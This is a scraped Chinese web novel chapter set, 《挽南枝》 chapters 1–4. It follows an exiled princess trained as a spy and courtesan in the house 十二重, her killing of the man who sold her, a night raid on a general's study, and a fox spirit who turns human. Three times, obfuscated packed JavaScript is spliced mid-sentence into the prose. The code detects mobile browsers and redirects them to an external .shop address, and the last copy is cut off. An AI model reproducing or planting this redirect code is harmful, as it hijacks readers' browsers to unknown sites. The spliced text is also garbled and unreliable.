《挽南枝》 1. 出逃 山野中的风随着马匹一同往前狂奔,雨点啪嗒啪嗒砸在树叶上,夜色隐没了身后穷追不舍的追兵,只闪烁着火把的点点红光,忽明忽暗。 叶之南手心全是汗,雨水沾湿了额角的鬓发,湿哒哒地贴在脸上。她紧紧攥着缰绳,低伏着身子,控制着不让自己发抖。忽然间,空中又传来嗖嗖几声,一支利箭刺破了下坠的雨珠,直直飞向她的后背。她旋身翻至马侧,一脚踩着脚踏,稳住身形,仰头却被雨滴迷蒙了双眼。 马长嘶一声,中了箭,发疯似的往前奔,她重新翻身上了马背,死死拽着缰绳,可究竟还小,控不住这匹大马,马朝侧边跑去,坡边一滑,滚落山坡。 “皇姐!”身后的叶之淮用力夹了一下马肚,迅速追过来。泥水被马蹄溅起又落下,反反复复。 她在坠落前扒住了山坡边沿,却是泥土松动,只看到眼前一挥而过的手臂。 再醒来时,已然天光大亮。 叶之南隐没于杂草中,背部被雨露打湿,淋淋地黏在身上,滚落山坡时身子还擦破了些皮,但所幸并无大碍。 应是才过去了几个时辰......她揉了揉眼,避过白晃晃的太阳,思考着目前的形势。 昨日散学后,叶之淮拉着她去看小太监们斗蛐蛐,正是两虫腾击、振奋作声之时,不知谁人放了响炮仗,宫人突然嘈杂起来,她见形势不对,拉着叶之淮躲进一殿中。一眼生的太监跟了进来,袖中的刀子直直朝叶之淮刺了过去,她按着他弯腰躲过,一脚踢翻那太监,带着人朝外奔去。 迎面却撞上了御前侍卫郭子义,此人乃叶之南师父的好友,他直言皇上命其带二人出宫。情况紧急,不容她多犹豫,她同叶之淮翻身上马,在这支队伍的护卫下,从尚未被攻占的西门逃了出去。 一行人特意绕了远路,却仍被追兵追上了,此地乃南知与齐蜀交界之地——榕城,快马加鞭,赶往东北的莞城投奔舅舅,也得整整两日了。 父皇母后如今可好?追兵是否已追上叶之淮?她不知道,犹豫一会儿,还是选择停留原地。昨日摔下的距离并不长,若是叶之淮无事,定能遣人寻到她。 一整日过去,却是毫无动静,她心中愈发焦躁,又是一日未进水米,只得先起身去找些吃食。 这山间竟没什么果实,地上的野菜都被薅秃了,树皮尽被剥了下来,她顺着水声来到河边,却也是无鱼,只好饮了几口水。 前些日子听闻,西北旱灾,数日无滴水降下,想必只是昨日才得了些雨水......她顺着河流走,期许能碰到些人家,却还是饿晕了过去。 “姑娘,姑娘?” 枝南睁眼,已是黄昏时分,面前是一瘦骨嶙峋的老大爷,关切地问她如何。 “爷爷,我同家人走散了,已是两日未进食了。” “哎,乖娃子,那先同爷爷回家吧,爷爷明日带你去城里问问。” 叶之南跟着老太爷进了村子。田地里尽是光秃秃的,一根草也见不着,正是晚饭时分,烟囱上却静悄悄的,寥无炊烟。 两人进了一间茅草屋,里面有个婴孩正哇哇大哭,旁边立着个同她差不多大小的女孩子,无精打采地哄着那小男孩。 “爷爷!”见着二人回来,小女孩眼中一亮,但瞧见跟在后面的叶之南,她不安地摸了摸自己的破粗布衣,眼中有些戒备。 “这是我孙子孙女,孙女十三岁,应是同你差不多大,”老太爷从衣服里掏出一些青涩的果子,摆在桌上,“莺莺,这个姐姐找不着家人了,先在咱们这住一天。” 莺莺跟着老太爷去了灶台边,俩人嘀咕了些什么,她回头看了一眼叶之南,正好被叶之南撞上,急忙把头扭了回去。 晚餐是一碗树皮汤和发着霉的米粥,说是粥,却稀得同水一般,她随便吃了两口,便不好意思再多动筷了。莺莺给弟弟喂了米粥,爷孙俩一齐狼吞虎咽。 “这连着两年旱灾,我们家也实在没什么吃的了。” “朝廷没给救济粮吗?”一月前父皇似乎就已经拨粮西北府了,按理不应将百姓逼至这地步,那十三岁的姑娘看起来都同十一岁的她一般大。她又看了眼莺莺,对面那人正抱着弟弟哄睡,一直沉默不语。 “给倒是给了,不过咱们县的被那土匪给劫了!”老太爷摇了摇头,“劫了米粮,还把那柳知县一家给屠了,柳老爷家的静姐儿被弄到土匪寨子里,跑到山崖边摔死了!” 叶之南没再多问,她目前实在做不了什么,明日去城里又能否找到前往东北府的商队呢? 夜色越来越重,她渐渐睡着了。 月落日升,叶之南跟着老太爷一齐步行去城里,却是走了整整一日,还未望见城门。 “近点的城都被灾荒害惨了,若要找远行的商队,怕是还得朝远些的城去。” 她点点头,老太爷又搓搓手:“不知姑娘可有些钱财傍身?老夫没别的意思,只是没有通关文牒,怕是得打点一番。” 叶之南早将金银首饰藏在袖中,闻言,也未多怀疑,掏出一只金镶宝耳坠,递了过去。 黄昏时分,眼前远远浮现出城墙,走近一看,上面题着“槿城”二字。 这名字倒有些耳生,她转头一看,老太爷不舍地摸着耳坠,最后还是将它给了城门的守将。 他带着人去了一大院侧边,院中有一四层的高楼,还有的便看不清了。 “这是商行,咱进去问问有没有去东北的商队便可。” 叶之南点点头,她以往从未出过宫,也不疑有他。 “大爷,”她掏出一支金累丝蝴蝶簪,“这两日多谢您了。” 老太爷捏着簪子,愣了一会儿,他突然踌躇起来,可还是咬咬牙:“咱进去吧。” 暮色朦胧,楼中传出些女子的欢笑声,她正觉疑惑,两人已走至一房门前。 “地下是训人的地方,还得请你多费心了。” “应该的。” 一男一女正在交谈,老太爷直接走去敲了敲门,里面静了一瞬,转眼闪出一男子,将其踢翻在地。 “什么人?” “哎哟哟,老汉是来卖女儿的,还请手下留情!” 卖女儿?叶之南本欲上手搭救,一听这话,骤然醒悟过来。 世事艰难,哪来的好心人!不过是想将她卖至烟花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367964|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之地,得笔钱财罢了! “卖女儿?”里面的女子轻笑一声,“我们十二重的女子都是最最别致的,可不收这些外来的货色。” 那女子走了出来,将老汉踢进屋内,又瞥了眼叶之南:“倒是生得不错。” 男人将她也押了进来,她被按着跪在地上,那老头已经昏死过去了。 “哪儿的人,怎么到这儿来了?” “小女子乃榕城人,被这老汉骗了来。” 叶之南低着头,不敢多说话,此地定不只是简简单单的青楼,这二人武功皆不凡,就她那跟师父学的几年功夫,怕是不堪一击,一不小心,恐得命丧于此。 “榕城?倒确是南知国的口音,”芜深倒了杯茶,毫无顾忌地朝里面撒了些粉末,“喝了吧。” 叶之南大惊,伏在地面:“还请姐姐饶我一命!” “饶你?你听了这些话,让我怎么饶你?” 今日怕是离不了此地了,叶之南狠下心,抬起脸:“小女子甘愿留在十二重,为姐姐做牛做马,只求姐姐放一条生路。” “这脸蛋倒真真不俗,”芜深拔出一支银簪,挑起枝南的下巴,细细端详一番,“姓甚名谁?可懂琴棋书画?” “小女子姓柳名静,本榕城柳知县家小女,因土匪夺粮屠府,跌落山崖,得此老汉相救,却不料被骗,琴棋书画都略懂一二。” “此事倒是略有耳闻。” 芜深将茶浇到老汉脸上,给他扔了一个钱袋:“走吧,老不死的。” 老汉不敢多留,连滚带爬地跑出门外。突然清脆一声响,叶之南面前落了那支银簪。 芜深伸出手指向门外,叶之南明白了,心更颤了几分。她咬着牙,抓起金簪,快步爬起来追上老汉,一把将簪子插进他的后脖颈。 鲜血如瀑,溅了她满脸,面前的人一点一点地向下滑落,转回来的两只眼睛惊恐地瞪着她,满脸的难以置信。 “你......” “是你害了我们。”她闭了眼,将簪子拔了出来。 这是她第一次杀人。 她不后悔让他死,纵然他有再多的苦,可他想害她一个无辜之人。 那支金簪足矣支撑他们家一年了,他犹豫了,但还是把她送了进来。 这一送,害了她,也害了他自己。 人心不足蛇吞象。 也怪她识人不清。 只是满手的鲜血,到底让她不安。 她知道,这是第一次,但绝对不是最后一次。 她努力平复着飞速跳动的心脏,抹了把脸上温热的鲜血,拾起老汉手中的钱袋,往回走。 身后不知从何处窜出来几个人,快速将尸体拉了出去。 那男子站在檐下,定定地瞧着这一幕,神色漠然。 她将钱袋递了上去,芜深笑道:“真是有点儿意思,今儿就破个例,将你收了吧。” “秦斯尘,将人一道带回去吧,诶,等会儿,取个名儿,叫什么好呢?” 她取了柜上的签筒,轻轻摇了摇,一根签落到地上,上面是龙飞凤舞的两个字 ——枝南。 2. 夜探 五载夏荫秋剪去,三年笑语怨吹回。 春风料峭染疏柳,袅袅琴音衰怨梅。 高楼之上,两扇木窗朝外大敞,一女子淡淡垂眸,望着楼下熙熙攘攘的人群。 “枝南姐姐,赵公子家的马车到了。” 枝南轻轻点头,移步桌前坐下,打开妆奁,将眼尾那颗略微褪色的痣点深了些,铜镜中的面容又添了几丝风情。青丝半绾,剩下的斜斜垂在一侧。她微微侧头,朝着镜中人妩媚地笑了笑,那双柳叶眼弯弯,露出几分媚态。 “枝南姑娘,桑若这是怎么了?”刚出楼外,一男子便出声询问。 枝南回首,楼上窗棂下,现出一娇滴滴的女儿来,粉面丹唇,却是眉目生愁,一双纤纤素手轻抚琴弦,曲声幽咽。 “骊山语罢清宵半,泪雨霖铃终不怨!” 字字啼泪,声声哀怨,一旁的丫头拈起手帕替她擦眼,倒惹得她涕泪涟涟。 那帕子鼓鼓囊囊,想是裹满了催泪散。 作戏罢了。她扫了眼周围的人群,出口却是另一番言辞。 “我这妹妹呀,糊涂得很,为着个男人伤心,”女子懒懒扶了扶头上的赤金凤蝶钗,一双美目眼波流转,却又迅速垂眸,溢出几分伤心之色,“当今探花郎,得我妹妹百金,方得赴京赶考,谁料一举高中,却与户部尚书的千金薛氏定了亲,徒留我妹妹苦等——王公子啊,我看这探花郎,还不如您呢!” “哎哟哟,姑娘真是谬赞了,这男子也真是,昔日逢难,幸得美人相助;今朝中举,却将旧人抛离。真真是个负心王八蛋,朝廷岂能容下此等背信弃义之人!” “只恨我等人微言轻,槿城又离那齐都山高路远,不得替妹妹讨个公道!” 四周人群激愤,王公子还欲再言,女子却福身作别: “枝南承蒙赵公子邀约,前往将军府上弹奏一曲,时间怕是赶不及了,还请王公子见谅。”她粲然一笑,在身旁侍女金翘的搀扶下上了马车。身后的王公子倒有些呆了,只痴痴地望着。 车夫挥起马鞭,车轱辘转了起来。身后众人皆怜惜不已,纷纷怒骂那不守信义的负心郎。 “今儿个,咱们倒也成了上得了台面的戏子了。” 马蹄的嗒嗒声慢了下来,停在赵府角门处。 今日赵府似与往日不同,守卫翻了一番。 枝南随赵炟的侍女朝里走,却骤然被一人拦住了脚步。 “等等!” 侧边小路却出来一位管家式的人物,前面带路的侍女见了,垂头让至一旁。 “这位是?” “十二重枝南姑娘。”一旁抱着琵琶的金翘忙答道。 陈管事听了,倒也不搭理她,只冲着前面的侍女厉声道:“今日老爷吩咐过,不准外人入府,你这丫头,怎么办事的?” 倒是个见人下菜碟的奴才。枝南也不正眼瞧他,只瞥了眼金翘,示意她不要作声。 “是二少爷吩咐的,说是今日想听曲儿,也不留人过夜,晚膳前便走。” “老爷已经交代了,还是请枝南姑娘回吧。”他面上挂着笑,这句话倒是冲着枝南说的。 “您要撵我也罢,我自也不赖在贵府,不过赵公子相邀,还得听其吩咐,”枝南抬眼,也笑道,“并非我刻意为难,只不过也怕触了赵公子的眉头,况且这赏钱也没领到,您看?” 陈管事给身旁的小厮使了个眼色:“那还烦请枝南姑娘等等了,我派人向少爷禀告一声。” 枝南颔首,转身拈了朵海棠花来嗅。她不是第一次来赵府了,虽每次都只走一这条小道前去赵炟院中,但府邸里丫鬟小厮来来往往,也大致摸清了一些方位。她们此时正处在西边的角院处,眼前楼阁重重叠叠,但将军赵修的书房应在东南或正东。 且说当今天下,主分四国,齐蜀、南知、枫禾、流竹。除此以外,便是些边地小族。 齐蜀除皇室外,最显赫的便是赵李秦薛四大家——若是九年前,倒还有盛家,不过如今是落败了——赵秦事武,薛李从文,当今皇帝上位之路堪称传奇,弑父杀母,也多得赵家相助,如今又最是重武,因此,有着镇国大将军赵任的赵家隐隐占了上风,其女赵岚初入宫为后,一时风头无两。 这槿城赵修,乃是赵国公庶兄之子,与赵任算来应是堂兄弟,多年来驻守槿城边境。槿城往南便是南知国,天下文脉所在,与齐蜀向来无冲突,再加上近几年内乱,二者更是相安无事。 这赵修在槿城安逸多年,往日府上也并未戒严,今日却奇怪得很,暗处也多了几拨人。 枝南朝东边看了一眼,入眼是一棵高大茂密的槐树,几根枝杈伸到了屋顶,树叶沙沙。 金翘瞧见了她的眼神,出口想说些什么,却被枝南轻轻拍了拍手。 如今赵府正戒严,不宜旁生枝节,打草惊蛇。 小厮匆匆赶了回来,递上一包银两,毕恭毕敬:“麻烦枝南姑娘白跑一趟了。” “既如此,那枝南便先回去了。”枝南笑了笑,微微福身,带着金翘退了回去。 这必然不是赵炟的意思。那个浪荡脾气,岂会有叫人白走一趟的道理?那小厮恐怕根本没同他禀告,那么大的府邸,半炷香未到,便来回了一趟,脸不红气不喘。不过赵修向来宠爱他这个儿子,到门口了还给推了回去,想必是真有大事了。 “金翘,”枝南掀开帘子,“我记得前面拐个弯儿就是绣荷坊,里面新出了一款提花绢,去瞧瞧吧。” 绣荷坊是去年新开的铺子,布料花式新颖,此刻正是忙的时候,里面待客的小丫头见了枝南,忙上前来介绍新货,枝南随便挑了几匹布,又选了些成衣,上了二楼。刚进试衣间,她便打开窗,见四下无人,只扣住窗子上檐,腿腾空一点,身子一旋,便翻上了屋顶。 绣荷坊位于赵府东侧,与赵府仅隔了一条矮街。枝南躲在屋脊后,微微探出一双眼。东边的侍卫确是密了几分,夜里怕是会更多。 枝南默默记下其位置。底下突然传来叩门声:“枝南姐姐,换好了吗?” 她抓着屋檐,跳进窗内,关上窗户。金翘又敲了敲门。她打开门,将衣服塞进她怀里:“催什么?” 门外还等着一位小姐,一身湖蓝云纹浮光锦的罗裙,衣着不凡,面上遮着纱,露出的一双眸子黑幽幽,泛出几分凉意,让枝南想到深邃的森林。她没抱怨枝南试衣时间长,只擦肩进了房间,脚步虚浮。 枝南带着挑好的衣裳布料出了店铺,问金翘:“那人可有为难你?” “不曾,只是她身旁的丫鬟抱怨了几句。” 她笑了笑,回望二楼,鼻尖似乎还萦绕着那股淡淡的药香味:“咱这槿城,何时有了这等人物?” 黄昏时分,十二重渐渐热闹起来。枝南睁开眼,将发丝高高束起,换上一身夜行衣。她把金翘唤进来:“赵府有些异样,我今晚前去探探,若妈妈回来了,你便向她报备一声。” “可......妈妈没有向我们下达探查赵府的命令。” “照做便是,不必多问。” 金翘垂了头,低声道:“是。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367965|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日便和银柳早些休息吧,不必等我。” 她闪身跳出窗外,消失在金翘视野里。 赵府外。 枝南在南侧街角蹲了许久,趁着侍卫换班,纵身一跃,扣住墙头,翻身入了赵府。 槿城赵家安逸许久,守卫也多懈怠。枝南一路轻功踩过屋脊,循着记忆找到那棵槐树,将自己隐在枝叶中。槐树背后那间屋子应是书房了,灯却还未亮。 丫鬟小厮们多集中在正厅处,厅中灯火通明,想必赵家人还在用晚膳。 晚膳后......会发生什么呢? 枝南倚着树枝,静静等着。眼中却突然闪过一抹白色,直朝槐树奔来。 她立马警觉起来,但那却不像是个人。身旁树叶抖了几抖,探进来一个圆溜溜的......狐狸脑袋? 枝南来不及多想,一把拎住它的脖颈,将它的嘴捂上。狐狸......会叫吗?她不确定,已经太久没见过这种动物了。她看了看怀里这团毛茸茸的雪团子,犹豫一会儿,还是撕下一块布料,塞进它嘴里。 狐狸被她牢牢控着,但也不闹,只睁着一双圆溜溜的眼睛盯着她,抖擞两只小耳朵。枝南同它对视,但也不敢松开它,一只手死死抓着,另一只手却又轻轻抚着它的毛。 不久,她停住了。 远处已走来了两个人。 一个是赵修,枝南曾见过他几面——也是在十二重,另一个倒不认识,但想必就是赵修今日这般异常的原因了。 他们进了书房,赵修让院中的侍卫都退了出去,朝四周望了几番,才关上门。 枝南抱着狐狸,脚尖一点树枝,跃上房梁。这狐狸倒乖得很,一动不动。她轻轻掀起两块瓦,屋内的交谈声便透出些。 “为鉴先生一路辛苦,”赵修亲自斟了茶水,“不知兄长近来可好?” “大将军倒是身体康健,不过朝堂上多操心罢了,圣上此次,怕是不想用大将军,”他低头细嗅茶香,又轻轻摇头,“将军府上,怕是没有好茶待客呀!” 赵修面上僵了僵:“自是比不上京都的名品。” “诶,将军莫怪,此次镇国大将军,便将这茶送过来了。” 赵修神色一动,忙问:“这好茶......莫不是岚云?” “将军有着多子之福,膝下三子,唯一的小女却尚在襁褓之中。此次——”他顿了顿,凑近赵修耳边又嘀咕了几句,赵修面色一变,江为鉴却笑道,“南征叶之淮之事,赵氏得避避风头,功劳自然比不过秦氏,大将军的意思也是先放一放,但这方面,才更是重中之重了。” 南征?叶之淮?枝南捏着狐狸的手不禁紧了几分。 夜中突然起了风,槐树叶沙沙作响,像是无数幼虫互相啮咬,咀嚼着彼此的血肉。 “我明白了,”赵修额上出了几滴汗,“只是这事......已经板上钉钉了?” 江明摇摇头,却又点点头,将茶一口饮尽。 风又大了几分,声声呜咽,字字怒号。 “亏得兄长将先生送来出谋划策,只是......我府上粗陋,看来得先好好修缮一番了。” 江明站起身,探了探关紧的窗户:“将军府上,未有屋瓦缺漏处吧?” “这都是年前才修检过的,应是没问题。” “那怎么——”江明回转头来,面色漠然,“——顶上漏风呢?” 赵修倏然抬头,两块砖瓦的漏缺处透过几缕皎洁的月光,静静映着屋内二人的影子。 “来人呐,抓刺客!” 3. 交易 圆月当空,光雾浓浓。几道黑影踏着屋瓦飞移,地上一群侍卫持着火把,人影摇动。远处那被追逐的身影却一闪,不见了踪迹,只徒留一群人在这岔路口住了脚步。 “你们几个,在这搜!剩下的,分两队追!” 这块儿都是普通百姓的住处,众人此刻皆已熄灯入睡。一群官爷突然持了火把闯入,四处乱翻,将人全部拖到了街上的空地里。 “问你们,都实话实说,别耍滑头!”领头的握着腰间的剑,在人群中走来走去,扫视着他们脸上的表情,“今晚可曾见过一个黑衣人?” 众人面面相觑,纷纷摇了头,道:“不曾。” 领头的留下了两个侍卫看着这群人,又带着其他人进屋子里里里外外再搜寻了一番。 “看来真不在这——也是,那人轻功了得,估计早跑前头去了。” 黑暗中,枝南看着两个懒洋洋的身影走了回来,嘴里嘟囔着骂了两句,踹掉鞋子,又翻身睡下了。 她本跑得好好的,谁知在这岔路口,那狐狸却怪得很,突然挣扎着跳了出去,窜进这家大敞的窗子里。她伸手一抓,却落了个空,便也翻了进来,可那狐狸跑得飞快,从墙角稀碎的一个洞口里溜了出去,她蹲下定睛看了眼,里面实在漆黑一片,什么也瞧不着了。 追兵跟了上来,四处搜查。她便跃上房梁,紧贴着墙,躲在角落堆放杂物的架子后。 这家条件实在不怎么样,空气中都漂浮着一股厚重的霉味,架子上也尽是一些陈芝麻烂谷子,上面积着层灰,不像是久有人住的样子。 环境确实惹人难受,一侍卫进来便咳个不停,用火把随便照了照,见没人,便退了出去。 狐狸是找不着了。枝南随手抓了几粒灰扑扑的豆子,在手里盘着。等外面这些人离开,她也不久留,跳窗回了十二重。 黑暗中,先前上床的两人一骨碌爬起来,其中高个的点起一盏昏暗的油灯,朝那边房里的角落一照,轻声说:“走了。” 话音刚落,不知从何处又走出一个男人,坐在床上。 “那是什么人,怎地把她(他)带到这儿来了?”另一个矮些的瞧着他,低声问道。 “也是个听墙角的,”床上的男人轻轻笑了一声,“我俩顺路罢了,只是没想到她会进屋抓我。” “没被她(他)发现吧?” “我应是没有,你们——就不知道了。”他拉长了声音,漫不经心地笑了笑,手上甩着根黑布条,倒是颇有几分不羁的味道。 另外两人却陡然一惊。高个的走近枝南藏过的架子旁,发霉的豆子下还藏着一片黑布条。昏黄摇曳的灯光下,暗红的字迹隐隐绰绰。 “十二重,”他声音顿了一下,“明晚酉时,去吗?” 翌日。 阳光正好,轻轻搅动着枝条,柳梢嫩芽簌簌冒出,却仍掩不住几丝冷风。槿城的人群虽也如平日般熙熙攘攘,但其中间或走过的几列带刀侍卫,还是给这座城添上几分不寻常。 枝南淡淡垂眸,在窗边瞧了好一会儿,无意识地摩挲着指尖细细的伤口。金翘从门口走进时,她才回转过身来,紧了紧肩上的锦缎披风,侧耳听她禀告:“枝南姐姐,吴公子到了。” “吴禄?五日前不是回绝了吗?我不陪他。” “这本是桑若姑娘的客,桑若姑娘今日怕是也见不了人......” “便推到我这儿来了?” 金翘点点头:“毕竟......” “叫两个丫头过去随便陪陪便是了。” 吴家世代经商,原本也算不上个角色,这几年生意却突然红火起来。吴禄是吴家庶子,向来只是吃喝玩乐的主,前几月却也分得一些小生意,接下来又要领着商队朝齐都走。 楼下一雅间内,正坐着三四位浪荡儿,推杯换盏,荤话连篇,只银柳几位丫头在一旁侍奉。 枝南在门外瞥了两眼,转过头去,正好瞧见楼下的情形。戏台上的姑娘们跳着新学的胡旋舞,身姿妖娆,脚踝上挂着铃铛的金链叮当作响,几个带着情思媚态的眼神,便引得台下的看客纷纷往上抛银两。大堂里座无虚席,姑娘们在其中穿行,公子少爷们捏个手,掐把腰,便开始了打情骂俏。 这就是十二重。 十年前,十二重初建于齐都,其姑娘琴棋书画、诗词歌赋样样精通,面容身段皆为一流,只接待达官富商,一夜间声名鹊起,千金入账。可这背后的东家却骤然将目光移向南方边境的槿城,又建了槿城的十二重。 十二重的姑娘们从何而来,无人了解,只每年评出的前十二,是最受那些达官贵人追捧的。 枝南便是这第九。 自八年前来到此地,她便被秦斯尘带回郊外,同一群姑娘训了整整五载,武术暗器,琴棋书画,也包括勾引人的媚术。 她几番试着逃跑,可奈何十二重的人皆被种了香蛊与毒蛊。从香蝶追香,出了十二重便无法隐瞒行踪;月圆之夜便是毒蛊发作之时,若无药物则毒发身亡。 三年前她在楼上挂了牌子,恩客往来间才得知叶之淮已得了舅舅相助,于东北府重整旗鼓。 南征......叶之淮......枝南垂眸,无意识地挠着指尖。 吴禄自知请不动枝南,走时只要了银柳。 枝南回房间研墨,写好了昨夜的行动情况,妈妈不在,她昨个儿夜里便也没忙着补上。 时候差不多了,她又写了封信,用麻绳卷好,塞进细竹筒中。 她出不去,但他们是一定会来的。枝南望了望窗外低垂的夕阳,准备换装,耳边却听到细微的脚步声,便将竹筒顺手塞进袖中。 门外轻叩两声,金翘低声道:“枝南姐姐,妈妈回来了,唤您。” “知道了。”她轻轻扣着桌面——怎地这时候回来了? 她抄起桌边那几张纸,朝四楼走去。 十二重一楼为大堂,二楼为雅间,三楼为各位姑娘们的房间,四楼却是禁地,若无妈妈传唤不得上去。 楼梯左侧的房间点着烛,门半掩着,透出点点昏黄的烛光。 枝南轻轻扣了扣门,里面传出一道慵懒的女声:“进。” 枝南轻轻推门进去。里面只桌上虚虚点着两三支蜡烛,仅仅照亮了这一方桌子。桌旁坐着个约莫三十来岁的女人,穿着一身暗红的长裙,肩上披着深黛色的纱,头发盘成了堕马髻的式样,簪着几朵红牡丹。 她手上正沏着茶,也不瞧枝南:“昨个儿夜里出去了?” “是。”枝南垂头答道,将手中的纸张平铺在桌上,推至其眼下。 对面这人却也不看:“说说吧。” 枝南将经过详细交代了,只隐去了那只狐狸和那两个可疑的人。 “就这些?”芜深抿了口茶,第一次掀起眼皮看了她,“赵府那些花架子,可追不上咱们十二重的人。” 枝南心中一紧:“自然是能甩掉他们,不过不想费精力同他们绕圈子,便躲了躲。” “躲在哪处?” “城西五石巷。” 十二重外。 三人徘徊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“也成,也成,我们恰好要去十二重听听曲,不如陈兄同去,咱们细细品鉴一番?” 枝南从芜深房内出来,一步步走下楼梯时,正好顺着缝隙,瞧见了王硕一行人。 她回了房间,再出来时,已是一身倜傥的公子装扮。 大堂里坐得满满当当。琴瑟铮铮,奏出的却是靡靡之音。姑娘们香肩半露,四处挑逗着。谢泽垂着头,没敢多看,倒是陈禹盛一边应付着王硕,一边暗地里朝四周扫视着,搜寻可疑之人,却一无所获。 忽然间,他肩膀被谁拍了一下,转头望过去,却是一青衣公子,也未道歉,只朝前走着,脚步却放缓了。 他道声“失陪”,起身快步追去,谢泽也紧随其后。 前头那青衣公子上了二楼,转身进了一雅间。 雅间内未点灯,也未燃烛。 “坐。”那人唤了一声,声音压得有些低。 借着窗外的朦胧月色,陈禹盛看见眼前之人已斜靠在扶手椅上,他没坐,谢泽倒是坐下了,不过是在地上。 “不知阁下如何称呼?” “倒也不必称呼了,请二位来,不过是做个交易。” “交易?” “替我送封信。” “不知阁下能给出怎样的筹码?” “消息。” “什么消息?” 对方一时之间没有回答。陈禹盛抬眼,目光似乎穿过昏暗,对上了一双冷冷清清的眸子。 “赵家,槿城,亦或——齐都?” 陈禹盛摇了摇头,却也没拒绝:“我要送个人去赵岚云身边。” “我能将人送进赵府,至于能不能留至她身边,就看你的人了——顺便提一句,不要再回五石巷了。” “好,”他点点头,也没多问原因,“信呢,送至哪?” “南知,莞城,郭子义。” “南知?!” 4. 审案 枝南上了三楼,桑若却正从房间出来,双眸还肿着,见了她,埋怨道:“公子怎地上来了?这是不待客的。” 枝南也不多纠缠,抱拳作揖,回身便走,至后院,足尖一点,翻入了桑若的房间。 桑若的房间在她对面,她开了条门缝,等廊上过往的几个姑娘走后,便溜了回去。 赵岚云......想必便是昨日那人中的好茶了。只是要将人送过去,还得通过赵炟了,十五日后乃其生辰,还得好好谋划一番...... 后院里,一只毛茸茸的雪团子跳了几番,顺着窗蹿进了桑若的房间,鬼鬼祟祟地跟在后面。 金翘早已替她打来热水,房中水汽氤氲,朦胧似幻。枝南褪下衣物,将整个身子浸没于水中。 那夜她与叶之淮分离时,父皇母后被虐杀于宫墙之内。 记忆中母后总独自坐于殿中,眉目生愁,望向窗外,似一只笼中鸟,父皇日日来见她,却也不得她几分热情。 但后来,她与叶之淮年岁日增,也总能见着母后手中的荷包现于父皇身上。 谁料经年后,夜里入梦的,全是无名尸身上,带血的荷包。 门边突然传来些小动静,轻巧的很,不像是人的脚步声。她擦干身子,随手披上一件绛红色的纱衣,却见一只毛茸茸的脑袋弄开了门,探了进来。 那狐狸费尽千辛万苦终于迈入一只爪子,却踩上了一片红纱,正愣了神,抬起脑袋,两人便开始大眼瞪小眼。 “又是你这只小狐狸?”她俯下身,手朝狐狸脖颈捏去。 狐狸眼中闪过一丝警惕,掀起爪子朝枝南身后蹿去,躲过那纤纤素手,挑衅似的抖抖脑袋,回头看去。 绛红色的薄纱被爪子一扯,滑落一截,露出一片如雪如玉的香肩。烛光昏黄摇曳,未干的发丝滴落几粒水珠,从晶莹的肌肤上滚落,泛出莹亮的光泽。 枝南垂眸,睫毛印下深浓的倒影,她毫不在意裸露的香肩,一双玉足步步逼近,走至狐狸前。 “啪嗒。” 肌肤上的水珠落至狐狸脸上,他只觉一股淡淡的寒梅香,冷得彻骨,却又香得沁脾。 “嘁,原来是只小色狐呀。” 谢泽只感觉鼻尖一热,他伸出爪子一摸,却是一串红红的血珠。 而这手,是......人手? 他猛地回身一望,自己已是人身形态,跪趴在地面。 枝南揉了揉眼,她真真怀疑自己是不是出现了幻觉,那么一只狐狸团子,转眼便成了一位青衫公子? “你是狐狸精?可会吸食人的精血?” “少见多怪,整日就知道听些无聊的戏本子,”谢泽爬起身来,迅速理了理衣裳,瞥过头去,“喂,能不能把衣裳穿好,成何体统?” “少见多怪。”枝南瞥见他发红的耳朵尖,拉好纱衣,毫不留情地怼了回去。妖怪而已,看这模样,也没什么威胁。 想不到那人身边竟是带着妖的,这倒有趣了。 妖能做什么呢?化形?倒也是个避着眼线的好方法。 谢泽在原地立了一会儿,使尽浑身解数也没能重新变回狐狸。他拉门欲走,枝南一枚银钗甩回,钉在他手边,上头微微发黑的蝴蝶颤了颤,真似是展翅欲飞。 “我这儿岂是你想来便来,想走便走的?” 谢泽只恨自己没像话本子里一样会些法术,凭这三脚猫的功夫,根本敌不过身后的女子。 “大爷我想走便走,还轮得着你来安排?”话虽如此,他仍是回身,“说吧,什么事儿?让你大爷帮着参谋参谋。” 枝南见他这口是心非的模样,没忍住弯了眼,眼看面前的人又要恼羞成怒,她连忙正色,招招手,“过来。” “也不看看你使唤的是谁。”谢泽嘟囔两声,走了过去。 “上床。” 他听了,脸蛋腾地红了起来,结结巴巴地说不出话来。 “脑子里想什么呢?成——何——体——统,嗯?” 谢泽顶着张红虾子脸躺了上去,不知枝南碰了什么地方,床边突然弹出镣铐,将他四肢分别都锁了起来。 “交代吧。” 英雄难过美人关。 谢泽今日才明白了这道理。 虽说他算不上什么真英雄,但当女子的手一碰上他,他真什么都交代了。 倒也是酷刑一种。 反正直到第二日醒来,他都没能变回狐狸。 枝南自来到十二重,还未见过如此纯情的男子。 真真摸一摸,浑身上下便似煮熟了。身子抗拒着,眼神却变了个彻底,恶狠狠的,像是要吃人,一点也不复小狐狸的可爱。 倒也好,不费几分力气,什么都知道了。 